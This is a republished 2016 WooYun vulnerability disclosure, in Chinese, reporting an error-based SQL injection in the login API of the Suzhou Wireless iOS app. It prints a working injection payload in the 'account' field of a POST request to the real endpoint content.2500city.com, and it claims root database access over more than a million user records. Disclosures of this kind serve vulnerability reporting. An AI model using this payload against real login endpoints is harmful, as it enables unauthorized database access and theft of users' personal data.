苏州无线IOS APP存在SQL注入（涉及100W+用户数据）

admin

105013
文章

87
评论

2017年5月3日15:15:35评论328 views字数 232阅读0分46秒阅读模式

摘要

2016-05-12：细节已通知厂商并且等待厂商处理中
2016-05-12：厂商已查看当前漏洞内容,细节仅向厂商公开
2016-05-17：厂商已经主动忽略漏洞，细节向公众公开

漏洞概要关注数(8) 关注此漏洞

缺陷编号： WooYun-2016-207995

漏洞标题：苏州无线IOS APP存在SQL注入（涉及100W+用户数据）

漏洞作者：路人甲

提交时间： 2016-05-12 22:27

公开时间： 2016-05-17 22:30

漏洞类型： SQL注射漏洞

危害等级：高

自评Rank： 20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： SQL注入

0人收藏

漏洞详情

披露状态：

简要描述：

APP安全之SQL注入

详细说明：

目标：苏州无线IOS APP

检测发现以下地方存在SQL注入:（POST中的account，报错注入）

code 区域

POST http://content.2500city.com/ucenter/user/login HTTP/1.1
 Cookie: AD_RS_COOKIE=20110763
 User-Agent: SuzhouTV/3.9.2 (iPhone; iOS 9.3.1; Scale/2.00)
 Content-Length: 98
 Content-Type: application/x-www-form-urlencoded
 X-Requested-With: XMLHttpRequest
 Referer: http://content.2500city.com/ucenter/user/login
 Host: content.2500city.com
 Accept-Encoding: gzip,deflate
 Accept: */*
 
 {"account":"13888888888","password":"8abff0aa0877844584df31b9e4e45831","platform":1,"version":"3.9.2"}

Payload：（当前数据库）

code 区域

POST http://content.2500city.com/ucenter/user/login HTTP/1.1
 Content-Length: 315
 Accept-Language: en-us,en;q=0.5
 Accept-Encoding: gzip,deflate
 Host: content.2500city.com
 Accept: */*
 User-Agent: SuzhouTV/3.9.2 (iPhone; iOS 9.3.1; Scale/2.00)
 Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
 X-Requested-With: XMLHttpRequest
 Pragma: no-cache
 Cache-Control: no-cache,no-store
 Referer: http://content.2500city.com/ucenter/user/login
 Content-Type: application/x-www-form-urlencoded
 Cookie: AD_RS_COOKIE=20110763
 
 {"account":"13888888888' AND (SELECT 5906 FROM(SELECT COUNT(*),CONCAT(0x716b716a71,(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,54)),0x716a627a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'UBuc'='UBuc","password":"8abff0aa0877844584df31b9e4e45831","platform":1,"version":"3.9.2"}

漏洞证明：

1、当前数据库用户，root权限

2、所有数据库

3、用户表，多个，共100W+用户数据，仅列出数目作证明，具体就不深入了。

修复方案：

请多指教~

版权声明：转载请注明来源路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2016-05-17 22:30

厂商回复：

漏洞Rank：15 (WooYun评价)

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

2016-05-18 00:33 | 风尘 ( 实习白帽子 | Rank:52 漏洞数:26 | 66666)

0

求交个朋友

1# 回复此人

漏洞概要 关注数(8) 关注此漏洞